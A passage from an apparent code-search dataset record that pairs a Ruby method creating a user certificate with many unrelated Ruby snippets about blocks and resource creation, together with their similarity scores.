block.present? && BLOCKS.key?(block)\n @user = User.current\n layout = @user.pref[:my_page_layout] || {}\n # remove if already present in a group\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n # add it on top\n layout['top'].unshift block\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n redirect_to my_page_layout_path\n end", "def add_block\n block = params[:block].to_s.underscore\n if block.present? && BLOCKS.key?(block)\n @user = User.current\n layout = @user.pref[:my_page_layout] || {}\n # remove if already present in a group\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n # add it on top\n layout['top'].unshift block\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n redirect_to my_page_layout_path\n end", "def register_block_for(type, &blk); end", "def on_block(node)\n builder = DefinitionBuilder::RubyBlock.new(node, current_scope)\n definition = builder.build\n\n associate_node(node, definition)\n\n push_scope(definition)\n end", "def create_block(g, mod)\n pos(g)\n\n state = g.state\n state.scope.nest_scope self\n\n args = make_arguments(mod)\n\n blk = new_generator g, @name, args\n\n blk.push_state self\n\n blk.state.push_super state.super\n blk.state.push_eval state.eval\n\n blk.definition_line(@line)\n\n blk.state.push_name blk.name\n\n pos(blk)\n\n blk.state.push_block\n blk.push_modifiers\n blk.break = nil\n blk.next = nil\n blk.redo = blk.new_label\n blk.redo.set!\n\n # order matters quite a lot here\n args.bytecode(blk)\n\n recv = receiver_pattern(mod)\n if recv.binds?\n blk.push_self\n recv.deconstruct(blk, mod)\n end\n\n args.deconstruct_patterns(blk, mod)\n\n mod.compile(blk, @body)\n\n blk.pop_modifiers\n blk.state.pop_block\n\n blk.ret\n blk.close\n blk.pop_state\n\n blk.splat_index = args.splat_index\n blk.local_count = local_count\n blk.local_names = local_names\n\n g.create_block blk\n end", "def prepare_container(&block)\n @prepare_container_block = block\n self\n end", "def anonymous_blocklists; end", "def add_block block\n block.at self.length\n @blocks << block\n end", "def builders\n @builders ||= {}\n end", "def block(block)\n @components[:__base__] = block\n @load_order << :__base__\n true\n end", "def activity_blocks\n \n result = {}\n\n blocks_hash = ContentManagerSystem::Block.active_blocks(\n Themes::ThemeManager.instance.selected_theme,\n Plugins::Plugin.plugin_invoke(:booking, :apps_regions, context),\n context.user,\n context.request.path_info,\n nil)\n\n blocks_hash.each do |region, blocks|\n result[region.to_sym] = []\n blocks.each do |block|\n block_render = CMSRenders::BlockRender.new(block, context).render || ''\n if String.method_defined?(:force_encoding)\n block_render.force_encoding('utf-8')\n end\n result[block.region.to_sym].push({:id => block.name, \n :title => block.title, :body => block_render}) \n end\n end\n\n return result\n\n end", "def decode_new_multi(block)\n\t\t\n\t\tnot_found = []\n\t\tblock.blocks.each do |bl_id|\n\t\t\tif @decoded[bl_id].nil?\n\t\t\t\tnot_found << bl_id\n\t\t\telse\n\t\t\t\tblock.data ^= @decoded[bl_id]\n\t\t\tend\n\t\tend\n\t\tblock.blocks = not_found\n\t\treturn block\n\tend", "def add_block(block)\n return if ilp.has_variable?(block)\n ilp.add_variable(block)\n lhs = block_frequency(block) + [[block, -1]]\n ilp.add_constraint(lhs,\"equal\",0,\"block_#{block.qname}\", :structural)\n end", "def configuration(name, &block)\n config = Configuration.new\n config.instance_eval(&block)\n @configurations[name] = config\n end", "def component_dict(name, options = {}, &block)\n name = name.to_sym\n declared_component_dicts << name\n type = options.fetch(:type, ConfigStruct)\n type = Class.new(type, &block) if block\n type = type.method(:new) if type.respond_to?(:new)\n key_type = options[:key_type]\n key_type = key_type.method(:new) if key_type.respond_to?(:new)\n attribute_initializers[name] = lambda do\n ConfigDict.new(type, key_type)\n end\n attr_reader name\n end", "def fetch(block_name)\n @names[block_name.to_s] || []\n end", "def build_shared(base_url, &block)\n self.shared = self.build(base_url, &block)\n end", "def start_new_block_element(attrs)\n @current_block = {\n formatting_spans: [],\n paragraph_classes: [],\n }.merge(attrs)\n @block_elements << @current_block\n end", "def cxx_configuration(&block)\n @myblock = block\n @all_blocks = []\n end", "def init(&block)\n @inits << block\n end", "def init(&block)\n @inits << block\n end", "def get_blocks\n @blocks ||= Block.find :all, :conditions => { :show_in_all => '' }\n end", "def block(name, value = nil, &block)\n value = self._template.context.capture(&block) if value.nil? && block\n self._template.blocks[name] ||= value\n return self._template.blocks[name]\n end", "def clear_block(add = true)\n if add\n @block_num += 1\n \n @block_stats << { :name => block_name, :types => @block_types,\n :tokens => @block_tokens }\n @blocks << @block.dup\n end\n \n @block_counter = 0\n @block_types = 0\n @block_tokens = 0\n \n # Set up an empty block\n @block = {}\n @word_list.each do |w|\n @block[w] = 0\n end\n end", "def create_block_index( index_name, \n permits_duplicates, \n sort_by_proc = nil, \n sort_duplicates_by_proc = nil, \n & indexing_block )\n \n ensure_index_does_not_exist( index_name, permits_duplicates )\n \n index_instance = ::Persistence::Object::Index::BlockIndex.new( index_name, \n instance_persistence_bucket, \n permits_duplicates,\n sort_by_proc, \n sort_duplicates_by_proc,\n & indexing_block )\n\n indexes[ index_name ] = block_indexes[ index_name ] = index_instance\n\n return index_instance\n\n end", "def placeholder(&block)\n\t\t\tkey = \"‡‡‡‡‡PLACEHOLDER¤#{@placeholders.length+1}‡‡‡‡‡\".to_sym\n\t\t\t@placeholders[key] = block\n\t\t\tkey\n\t\tend", "def each_registered_block(type, &block); end", "def add_block\n i= 1\n loop do\n instance_variable_set(\"@b#{i}\", Block.next(instance_variable_get(\"@b#{i-1}\"), get_transaction))\n #dans cette loop en demande nouveau blockd'aller prendre les donnée du block précédant\n\n LEDGER << instance_variable_get(\"@b#{i}\")\n\n p \"==============================\"\n pp instance_variable_get(\"@b#{i}\")\n p \"==============================\"\n i += 1\n end\n\nend", "def blocks; end", "def blocks; end", "def blocks; end", "def containers\n t = Liquid::Template.parse(template)\n t.root.nodelist.select{ |t| t.kind_of? LiquidTags::ContainsBlock }.collect{ |c| c.container_name }\n end", "def cms_blocks_attributes\n self.cms_blocks.inject([]) do |arr, block|\n block_attr = {}\n block_attr[:label] = block.label\n block_attr[:content] = block.content\n block_attr[:id] = block.id\n arr << block_attr\n end\n end", "def new_block blk\n time = Time.now\n res = store_block(blk)\n log.info { \"block #{blk.hash} \" +\n \"[#{res[0]}, #{['main', 'side', 'orphan'][res[1]]}] \" +\n \"(#{\"%.4fs, %3dtx, %.3fkb\" % [(Time.now - time), blk.tx.size, blk.payload.bytesize.to_f/1000]})\" } if res && res[1]\n res\n end", "def store_block blk\n log.debug { \"new block #{blk.hash}\" }\n\n existing = get_block(blk.hash)\n if existing && existing.chain == MAIN\n log.debug { \"=> exists (#{existing.depth}, #{existing.chain})\" }\n return [existing.depth]\n end\n\n prev_block = get_block(blk.prev_block.reverse_hth)\n unless @config[:skip_validation]\n validator = blk.validator(self, prev_block)\n validator.validate(rules: [:syntax], raise_errors: true)\n end\n\n if !prev_block || prev_block.chain == ORPHAN\n if blk.hash == Bitcoin.network[:genesis_hash]\n log.debug { \"=> genesis (0)\" }\n return persist_block(blk, MAIN, 0)\n else\n depth = prev_block ? prev_block.depth + 1 : 0\n log.debug { \"=> orphan (#{depth})\" }\n return [0, 2] unless (in_sync? || Bitcoin.network_name =~ /testnet/)\n return persist_block(blk, ORPHAN, depth)\n end\n end\n depth = prev_block.depth + 1\n\n checkpoint = @checkpoints[depth]\n if checkpoint && blk.hash != checkpoint\n log.warn \"Block #{depth} doesn't match checkpoint #{checkpoint}\"\n exit if depth > get_depth # TODO: handle checkpoint mismatch properly\n end\n if prev_block.chain == MAIN\n if prev_block == get_head\n log.debug { \"=> main (#{depth})\" }\n if !@config[:skip_validation] && ( !@checkpoints.any? || depth > @checkpoints.keys.last )\n if self.class.name =~ /UtxoStore/\n @config[:utxo_cache] = 0\n @config[:block_cache] = 120\n end\n validator.validate(rules: [:context], raise_errors: true)\n end\n res = persist_block(blk, MAIN, depth, prev_block.work)\n push_notification(:block, [blk, *res])\n return res\n else\n log.debug { \"=> side (#{depth})\" }\n return persist_block(blk, SIDE, depth, prev_block.work)\n end\n else\n head = get_head\n if prev_block.work + blk.block_work <= head.work\n log.debug { \"=> side (#{depth})\" }\n return persist_block(blk, SIDE, depth, prev_block.work)\n else\n log.debug { \"=> reorg\" }\n new_main, new_side = [], []\n fork_block = prev_block\n while fork_block.chain != MAIN\n new_main << fork_block.hash\n fork_block = fork_block.get_prev_block\n end\n b = fork_block\n while b = b.get_next_block\n new_side << b.hash\n end\n log.debug { \"new main: #{new_main.inspect}\" }\n log.debug { \"new side: #{new_side.inspect}\" }\n\n push_notification(:reorg, [ new_main, new_side ])\n\n reorg(new_side.reverse, new_main.reverse)\n return persist_block(blk, MAIN, depth, prev_block.work)\n end\n end\n end", "def initialize(name, map=nil, block=nil)\n unless block || map\n raise ArgumentError, 'need map block or both'\n end\n\n block ||= DEFAULT_BLOCK\n\n @name, @map, @block = name, map, block\n\n freeze\n end", "def store_definition args, &block\n base = current_base\n options = args.extract_options!\n args.inject(base) do |acc, element|\n container = {element => []}\n container[element] << {:options => options} unless options.empty?\n (acc << container).tap do\n with_scope(element, &block) if block_given?\n end\n end\n end", "def block_class() Block; end", "def get_public_breadcrumb_as_block(context)\n \n blocks = [{:name => 'site_breadcrumb_public',\n :module_name => :cms,\n :theme => Themes::ThemeManager.instance.selected_theme.name}]\n\n return blocks\n \n end", "def set_block\n @request = JSON.parse(request.body.read, {:symbolize_names => true})\n @block = Block.find_by(prev_block: @request[:prev_block])\n end", "def has_block(blk_hash)\n raise \"Not implemented\"\n end", "def class_instance_blocks\n @class_instance_blocks ||= []\n end", "def address_containers(ident_only=false, &block)\n maps(ident_only, &block)\n end", "def blocks(options = {}, &block)\n block_objects(options.merge(object: :blocks), block)\n end", "def start_new_block\n if (@block_buffer)\n add_block(@block_buffer)\n @block_buffer = nil\n end\n end", "def process_simple_block_opener(tk)\n return unless [TkLBRACE, TkDO, TkBEGIN, TkELSE].include?(tk.class) &&\n # Make sure hashes are parsed as hashes, not as blocks\n (@last_ns_tk.nil? || @last_ns_tk.lex_state != EXPR_BEG)\n\n @level += 1\n @state = :block\n @block_num += 1\n if @block.nil?\n @block = TokenList.new\n tokens = [tk, TkStatementEnd.new(tk.line_no, tk.char_no)]\n tokens = tokens.reverse if TkBEGIN === tk.class\n @statement.concat(tokens)\n else\n @statement << tk\n end\n\n true\n end", "def initialize(&block)\n load_defaults!\n\n @only_collections ||= Array.new\n @additional_options ||= Array.new\n @ipv6 ||= false\n @lock ||= false\n\n instance_eval(&block)\n prepare!\n end", "def configure(&block)\n @configure_blocks ||= []\n @configure_blocks << block\n end", "def create_block2\n <<-CODE\n t1 = stack_pop(); /* the method */\n t4 = c->active_context;\n\n t3 = Qnil;\n if(block_context_p(state, t4)) {\n t3 = blokctx_home(state, t4);\n } else {\n t3 = t4;\n }\n\n methctx_reference(state, t4);\n methctx_reference(state, t3);\n\n cmethod_set_staticscope(t1,\n cmethod_get_staticscope(cpu_current_method(state, c)));\n\n t2 = blokenv_s_under_context2(state, t1, t3, t4);\n stack_push(t2);\n CODE\n end", "def extend_block(name, value = nil, &block)\n value = self._template.context.capture(&block) if value.nil? && block\n self._template.blocks[name] += value\n return self._template.blocks[name]\n end", "def content\n zones = {}\n keys = %w[content preferences]\n\n if page['block_instances'].length\n # create zone buckets\n page['block_instances'].each do |i|\n # go through all content\n if site.config.event?\n keys.each do |key|\n i[key].each do |k, v|\n if placeholder?(v)\n # maintain the {{ t.foo }} variables\n v.gsub!(/(\\{\\{\\s*t\\.[a-z_.]+\\s*\\}\\})/, '{% raw %}\\1{% endraw %}')\n i[key][k] = render_with_substitutions(v, 'event' => site.data['event'], 'mappable' => site.data['mappable'])\n end\n end\n end\n\n unless site.data['mappable'].nil? || site.data['mappable'].empty?\n perform_substitution!(i, 'mappable' => site.data['mappable'])\n end\n end\n\n zones[i['zone']] = [] if zones[i['zone']].nil?\n zones[i['zone']] << i\n end\n\n # sort each bucket by widget weight\n zones.each do |k, zone|\n zone.sort! { |x, y| x['weight'] <=> y['weight'] }\n end\n end\n\n zones.to_json\n end", "def address_containers(ident_only=false, &block)\n []\n end", "def initialize(parent_block)\n\t\t@children = { }\n\t\t@vartab = { }\n\t\t@functab = { }\n\t\t@parent = parent_block\n\tend" ]
[ "0.74327475", "0.6817441", "0.67584366", "0.6169531", "0.6115075", "0.6104901", "0.60795325", "0.6035718", "0.5856504", "0.58524126", "0.5851874", "0.58500856", "0.5845006", "0.5844824", "0.5768412", "0.57348526", "0.573268", "0.5695212", "0.5606382", "0.5598131", "0.55494285", "0.5529407", "0.54800403", "0.5470186", "0.5456738", "0.5421246", "0.5417034", "0.5407202", "0.5392704", "0.5392704", "0.5386672", "0.5370951", "0.53584886", "0.53578454", "0.5347471", "0.5342717", "0.5327169", "0.5324935", "0.5319474", "0.53168136", "0.53093255", "0.5303", "0.52974385", "0.52949417", "0.5280369", "0.52650726", "0.52591246", "0.52036506", "0.52036506", "0.5172256", "0.5166115", "0.5161435", "0.51545393", "0.5152821", "0.51482093", "0.5141483", "0.51314443", "0.5130986", "0.5107631", "0.5082814", "0.50696456", "0.50606096", "0.5060479", "0.50581956", "0.505496", "0.50398916", "0.5027884", "0.5027884", "0.5025879", "0.50132567", "0.49906436", "0.49896973", "0.495293", "0.4944181", "0.49350002", "0.49246842", "0.49246842", "0.49246842", "0.49240458", "0.49236128", "0.4916565", "0.49128085", "0.49120897", "0.49118674", "0.49082148", "0.4906713", "0.49044597", "0.4903524", "0.49024466", "0.48966554", "0.48880643", "0.48864526", "0.48849243", "0.48830885", "0.4871379", "0.48694053", "0.48574215", "0.48573467", "0.4856725", "0.48557785" ]
0.72267526
1
See create_for_resource for documentation on 'opts'
def create_for_user(name, opts = {}) unless valid? raise CertificateNoLongerValidException.new end email = opts[:email] || "#{name}@#{@@def_email_domain}" user_id = opts[:user_id] || UUIDTools::UUID.sha1_create(UUIDTools::UUID_URL_NAMESPACE, email) opts[:cn] = "#{user_id}/emailAddress=#{email}" opts[:addresses] = [ "email:#{email}", ] create_for_resource(user_id, :user, opts) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create(resource, options = {}, format = nil)\n base_create(resource, options, format)\n end", "def create(opts)\n opts = check_params(opts,[:definitions,:wildmasks,:resources,:profiles])\n super(opts)\n end", "def create_resource_with_http_info(resource, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ResourcesApi.create_resource ...'\n end\n # verify the required parameter 'resource' is set\n if @api_client.config.client_side_validation && resource.nil?\n fail ArgumentError, \"Missing the required parameter 'resource' when calling ResourcesApi.create_resource\"\n end\n # resource path\n local_var_path = '/resource_set'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(resource) \n\n # return_type\n return_type = opts[:return_type] || 'InlineResponse200' \n\n # auth_names\n auth_names = opts[:auth_names] || ['token_auth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ResourcesApi#create_resource\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create(resource, opts={})\n \n unless @records.has_key?(resource.model.storage_name)\n @records[resource.model.storage_name] = {}\n end\n \n @records[resource.model.storage_name][resource.key] = resource.attributes\n \n end", "def create(opts)\n opts = check_params(opts,[:modes])\n super(opts)\n end", "def create\n Puppet.debug( \"#{self.resource.type}: CREATE #{resource[:name]}\" ) \n end", "def create_resource(name, opts, &block)\n self.synchronize do\n raise ArgumentError, \"Option :type if required for creating resource\" if opts[:type].nil?\n\n # Make a deep copy of opts in case it contains structures of structures\n begin\n opts = Marshal.load ( Marshal.dump(opts.merge(hrn: name)))\n rescue Exception => e\n raise \"#{e.message} - Could not deep copy opts: '#{opts.inspect}'\"\n end\n\n # Naming convention of child resource group\n resource_group_name = \"#{self.id}_#{opts[:type].to_s}\"\n\n OmfEc.subscribe_and_monitor(resource_group_name) do |res_group|\n associate_resource_topic(opts[:type].to_s, res_group)\n # Send create message to group\n r_type = opts.delete(:type)\n @topic.create(r_type, opts.merge(membership: resource_group_name))\n end\n end\n end", "def create(opts = {})\n instance = new(opts)\n instance.save\n instance\n end", "def create!(opts = {})\n instance = new(opts)\n instance.save!\n instance\n end", "def create(*args)\n raise NotImplementedError, 'Implement a method to create the resource.'\n end", "def create_resource object\n object.save\n end", "def create(opts)\n opts = check_params(opts,[:items])\n super(opts)\n end", "def create(opts)\n opts = check_params(opts,[:description,:local_policy,:remote_policy,:requested_hosts])\n super(opts)\n end", "def create(opts = {})\n data, _status_code, _headers = create_with_http_info(opts)\n data\n end", "def create(type, opts = nil)\n proxy_info = OmfRc::ResourceFactory.proxy_list[type]\n if proxy_info && proxy_info.create_by && !proxy_info.create_by.include?(self.type.to_sym)\n raise StandardError, \"Resource #{type} is not designed to be created by #{self.type}\"\n end\n\n before_create(type, opts) if respond_to? :before_create\n new_resource = OmfRc::ResourceFactory.new(type.to_sym, opts, @comm)\n after_create(new_resource) if respond_to? :after_create\n children << new_resource\n new_resource\n end", "def create(resource,identifier,json)\n raise 'Not Yet Implemented'\n end", "def create(options = {}, &block)\n object = get_resource_ivar || create_resource\n\n options[:location] = collection_path if object.errors.empty?\n\n respond_with_dual(object, options, &block)\n end", "def create(resource)\n resource.client = self\n resource.create\n end", "def create\n self.resource = resource_class.new(params_for_create.to_hash.merge({created_by: current_user}))\n\n respond_to do |format|\n if resource.save\n format.html { redirect_to resource, notice: \"#{resource_class_name} was successfully created.\" }\n format.json { render :show, status: :created, location: resource }\n else\n format.html { render :new }\n format.json { render json: resource.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params[:id] = resource.id if resource.save\n respond_with resource\n end", "def create(params={})\n raise '`create` method is not supported for this resource.'\n end", "def create(params={})\n raise '`create` method is not supported for this resource.'\n end", "def create(params={})\n raise '`create` method is not supported for this resource.'\n end", "def create(params={})\n raise '`create` method is not supported for this resource.'\n end", "def create_resource(description, opts)\n unless (experiment = opts[:context]).is_a? GIMI::Resource::Experiment\n raise OMF::SFA::AM::Rest::BadRequestException.new \"Can only create slices in the context of an experiment\"\n end\n if name = description[:name]\n if (res = @resource_class.first(name: name, experiment: experiment))\n return modify_resource(res, description, opts)\n end\n end\n\n description[:experiment] = experiment\n super\n end", "def render_created(resource, options = {})\n location= url_for resource\n render_resource resource, options, {:status => :created, :location => location}\n end", "def create_resource(object)\n object.save\n end", "def create(data)\n @create_resource_mixin.create(data)\n end", "def create(opts)\n opts = check_params(opts,[:woc_instance,:local_ips,:enabled,:serverssl])\n super(opts)\n end", "def create(type, opts = {}, creation_opts = {}, &creation_callback)\n proxy_info = OmfRc::ResourceFactory.proxy_list[type]\n if proxy_info && proxy_info.create_by && !proxy_info.create_by.include?(self.type.to_sym)\n raise StandardError, \"Resource #{type} is not designed to be created by #{self.type}\"\n end\n\n before_create(type, opts) if respond_to? :before_create\n new_resource = OmfRc::ResourceFactory.create(type.to_sym, opts, creation_opts, &creation_callback)\n after_create(new_resource) if respond_to? :after_create\n\n self.synchronize do\n children << new_resource\n end\n new_resource\n end", "def build_resource(hash=nil)\n super\n end", "def create(type, opts = {}, creation_opts = {}, &creation_callback)\n unless request_supported_children_type.include?(type.to_sym)\n raise StandardError, \"Resource #{type} is not designed to be created by #{self.type}\"\n end\n\n opts[:parent_certificate] = @certificate if @certificate\n opts[:parent] = self\n\n call_hook(:before_create, self, type, opts)\n\n new_resource = OmfRc::ResourceFactory.create(type.to_sym, opts, creation_opts, &creation_callback)\n\n log_metadata(self.uid, new_resource.uid, :create)\n\n call_hook(:after_create, self, new_resource)\n\n self.synchronize do\n children << new_resource\n end\n new_resource\n end", "def create_resource(new_resource, attributes)\n new_resource.attributes = attributes\n new_resource.save\n new_resource\n end", "def create\n created_resource = create_resource(new_resource, resource_params)\n if created_resource.errors.blank?\n render json: serialize(created_resource),\n status: :created\n else\n render json: serialize_invalid_attributes(created_resource.errors),\n status: :unprocessable_entity\n end\n end", "def create\n might_update_resource do\n provider.create\n end\n end", "def create\n might_update_resource do\n provider.create\n end\n end", "def create\n might_update_resource do\n provider.create\n end\n end", "def create\n might_update_resource do\n provider.create\n end\n end", "def create_resource(resource, opts = {})\n data, _status_code, _headers = create_resource_with_http_info(resource, opts)\n data\n end", "def create\n validate_save_and_respond(change_set_class.new(resource_class.new), :new)\n end", "def create(opts)\n operation = {create: { _index: opts[:index], _type: opts[:type] }}\n operation[:create][:_id] = opts[:id] if opts[:id]\n @buffer.puts operation.to_json\n @buffer.puts opts[:body].to_json\n end", "def create_resource(description, opts, resource_uri = nil)\n warn \"Attempt to create sliver directly - #{description}\"\n raise OMF::SFA::AM::Rest::NotAuthorizedException.new(\"Slivers can only be created in the context of /slices/xxx/slivers\")\n end", "def create\n resource = model_class.new(permitted_resource_params)\n ensure_current_store(resource)\n\n if resource.save\n render_serialized_payload(201) { serialize_resource(resource) }\n else\n render_error_payload(resource.errors)\n end\n end", "def create(opts)\n opts = check_params(opts,[:servers])\n super(opts)\n end", "def build_options(opts)\n options = []\n opts.each do |opt|\n val = new_resource.send(opt.to_sym)\n options << \"--#{opt}=\\\"#{val}\\\"\" unless val.nil?\n end\n options\n end", "def base_create(resource, options, format = nil, additional_header = {})\n headers = {}\n headers[:accept] = \"#{format}\" if format\n format ||= @default_format\n headers = {content_type: \"#{format}\"}\n headers[:prefer] = @return_preference if @use_return_preference\n headers.merge!(additional_header)\n options = {} if options.nil?\n options[:resource] = resource.class\n options[:format] = format || @default_format\n reply = post resource_url(options), resource, fhir_headers(headers)\n if [200, 201].include? reply.code\n type = reply.response[:headers].detect{|x, _y| x.downcase=='content-type'}.try(:last)\n if !type.nil?\n reply.resource = if type.include?('xml') && !reply.body.empty?\n klass = self.versioned_resource_class(:Xml)\n klass.from_xml(reply.body)\n elsif type.include?('json') && !reply.body.empty?\n klass = self.versioned_resource_class(:Json)\n klass.from_json(reply.body)\n else\n resource # just send back the submitted resource\n end\n resource.id = FHIR::ResourceAddress.pull_out_id(resource.class.name.demodulize, reply.self_link)\n else\n resource.id = FHIR::ResourceAddress.pull_out_id(resource.class.name.demodulize, reply.self_link)\n reply.resource = resource # don't know the content type, so return the resource provided\n end\n else\n resource.id = FHIR::ResourceAddress.pull_out_id(resource.class.name.demodulize, reply.self_link)\n reply.resource = resource # just send back the submitted resource\n end\n set_client_on_resource(reply.resource)\n reply.resource_class = resource.class\n reply\n end", "def create\n @resource = Resource.new(resource_params)\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render :show, status: :created, location: @resource }\n else\n format.html { render :new }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_resource(_params)\n resource_class.new(resource_params)\n end", "def create_created\n controller.create_created(resource: resource)\n end", "def create\n @property_hash = {\n name: @resource[:name],\n ensure: :present,\n first: @resource[:first],\n second: @resource[:second],\n kind: @resource[:kind],\n symmetrical: @resource[:symmetrical],\n new: true\n }\n end", "def build_resource\n self.resource = resource_class.new(resource_params)\n end", "def new(options = {}, &block)\n respond_with(build_resource, options, &block)\n end", "def create(attributes = {})\n build(attributes).tap { |resource| resource.save }\n end", "def create\n authorize! :create, resource\n current_model_service.create resource, params\n yield if block_given? # after_create\n respond_with resource, location: helpers.show_path(resource)\n end", "def post\n \"\n desc 'create #{resource.singularize}' do\n tags %w[#{resource.singularize}]\n end\n params do\n # TODO: specify the parameters\n end\n post do\n # your code goes here\n end\"\n end", "def create(opts)\n opts = check_params(opts,[:unit_ids])\n super(opts)\n end", "def create\n model = model_class.new\n action = action_class.new(model, current_user)\n\n respond_with(action.create(resource_attributes))\n end", "def create\n @resource = Resource.new(resource_params)\n @resource.active = true\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render :show, status: :created, location: @resource }\n else\n format.html { render :new }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_resource\n class_name.new(get_secure_params).tap do |model|\n model.save\n set_resource_ivar model\n end\n end", "def perform_create\n resource.save!\n end", "def create\n @resource = Resource.new(params[:resource])\n \n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render json: @resource, status: :created, location: @resource }\n else\n format.html { render action: \"new\" }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_resource_reservation_with_http_info(resource_reservation, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ResourceApi.create_resource_reservation ...'\n end\n # verify the required parameter 'resource_reservation' is set\n if @api_client.config.client_side_validation && resource_reservation.nil?\n fail ArgumentError, \"Missing the required parameter 'resource_reservation' when calling ResourceApi.create_resource_reservation\"\n end\n # resource path\n local_var_path = '/api/v1/resource/Reservations'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n header_params[:'If-None-Match'] = opts[:'if_none_match'] if !opts[:'if_none_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(resource_reservation)\n\n # return_type\n return_type = opts[:debug_return_type] || 'ResourceReservation'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"ResourceApi.create_resource_reservation\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ResourceApi#create_resource_reservation\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create!(name:, **config)\n new_resource = self.build(name: name, **config)\n\n new_resource.attr_map(config) do |config_key, config_value|\n new_resource.instance_attr_accessor new_resource.to_snake(config_key)\n config_value\n end\n\n new_resource.save!\n\n yield new_resource if block_given?\n new_resource\n end", "def create\n @resource = Resource.new(resource_params)\n\n handle_extra_data\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to edit_project_path(@resource.project), notice: 'Resource was successfully created.' }\n format.json { render :show, status: :created, location: @resource }\n else\n format.html { render :new }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(context)\n context.request.body.rewind # in case someone already read it\n begin\n data = JSON.parse(context.request.body.read)\n rescue JSON::ParserError\n context.halt(406, { status: 'error', message: 'Not acceptable JSON payload' }.to_json)\n end\n\n permitted_params = resource_fields.map { |k| k[:name] }\n permitted_params = data.select { |k, _| permitted_params.include?(k) }\n\n begin\n instance_variable_set(:\"@#{resource_name}\", resource_name.classify.constantize.new(permitted_params))\n\n if instance_variable_get(:\"@#{resource_name}\").save\n instance_variable_get(:\"@#{resource_name}\").to_json\n else\n errors = instance_variable_get(:\"@#{resource_name}\").errors.map { |k, v| \"#{k}: #{v}\" }.join('; ')\n context.halt(406, { status: 'error', message: errors }.to_json)\n end\n rescue StandardError => e\n context.halt(500, { status: 'error', message: e.message }.to_json)\n end\n end", "def create\n build_resource(sign_up_params)\n\n resource.save\n render_resource(resource)\n end", "def create(resources)\n adapter.create(resources)\n end", "def create(resources)\n adapter.create(resources)\n end", "def create(opts)\n opts = check_params(opts,[:local_addresses,:remote_addresses,:profiles])\n super(opts)\n end", "def create\n @resource = Resource.new(params[:resource])\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render json: @resource, status: :created, location: @resource }\n else\n format.html { render action: \"new\" }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_resource(kind, data, body, pr)\n\n if body.size > 0\n result = parse_json(body,kind)\n data = result if !OpenNebula.is_error?(result)\n end\n\n resource = case kind\n when \"vdc\" then\n vdc_data = Hash.new\n data.each{|key,value|\n vdc_data[key.downcase.to_sym]=value if key!=\"pool\"\n }\n\n mandatory_params = [:vdcadminname, :vdcadminpass,\n :zoneid, :name, :hosts]\n\n mandatory_params.each { |param|\n if !vdc_data[param]\n return [400, OZones::Error.new(\n \"Error: Couldn't create resource #{kind}. \" +\n \"Mandatory attribute '#{param}' is missing.\").to_json]\n end\n }\n\n # Check if the referenced zone exists\n zone=OZones::Zones.get(vdc_data[:zoneid])\n if !zone\n error = OZones::Error.new(\"Error: Zone \" +\n \"#{vdc_data[:zoneid]} not found, cannot create Vdc.\")\n return [404, error.to_json]\n end\n\n if (!defined? vdc_data[:force] or\n (defined? vdc_data[:force] and vdc_data[:force]!=\"yes\")) and\n !host_uniqueness?(zone, vdc_data[:hosts])\n return [403, OZones::Error.new(\n \"Error: Couldn't create resource #{kind}. \" +\n \"One or several hosts belong to a different VDC \"+\n \"and no force option was provided.\").to_json]\n end\n\n vdcadminname = 